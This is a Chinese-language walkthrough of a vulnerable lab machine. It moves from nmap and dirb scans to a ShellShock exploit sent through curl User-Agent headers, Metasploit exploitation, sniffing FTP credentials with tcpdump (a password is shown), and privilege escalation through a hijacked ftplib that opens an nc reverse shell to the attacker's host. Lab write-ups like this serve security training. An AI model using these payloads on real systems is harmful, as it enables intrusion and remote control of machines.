一、信息收集
1、查看靶机的mac地址:
2、扫描靶机的ip地址:
nmap 192.168.13.0/24
3、扫描靶机开放的端口:
nmap -p- 192.168.13.151
4、访问靶机的80端口:
5、查看源代码有一句注释,翻译过来是你能破获地下世界吗,感觉underworld也是目录但是直接拼接访问行不通:
6、使用dirb扫描一下目录:
dirb http://192.168.13.151
7、访问一下目录:
8、发现这两个目录没有什么用,尝试将前面的首页发现的underworld加到目录后面访问:
9、发现有一个有页面,对这个页面进行目录扫描:
10、尝试拼接查看页面:
拼接了之后发现都是这个页面,只是页面显示的时间不一样,输出的信息很相似
11、发现和uptime命令输出的信息相似,此处存在破壳ShellShock漏洞:
12、执行payload查看是否成功,成功执行,且将结果回显到页面上:
curl -A " () { :;};echo;echo 123456;" http://192.168.13.151/cgi-bin/underworld/
13、尝试查看/etc/passwd文件内容,成功查看:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://192.168.13.151/cgi-bin/underworld
14、使用mfs搜索漏洞:
search CVE-2014-6271
15、使用msf获取shell:
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.13.151
set TARGETURI /cgi-bin/underworld
run
16、查看用户权限并获取一个交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
二、提权
1、查看sudo权限,发现不存在:
2、执行一个ftp登录的python脚本:
tcpdump -i lo
得到用户和密码为hades:PTpZTfU4vxgzvRBE
3、使用ssh连接,发现依旧不存在sudo权限:
4、发现python脚本ftpclient.py只能查看,不能修改:
5、查看脚本:
6、发现此脚本导入了ftplib库,我们修改这个库的内容来获得权限:
import sys
import os
os.system("nc -e /bin/bash 192.168.13.128 6666")
7、kali开启监听:
nc -lvvp 6666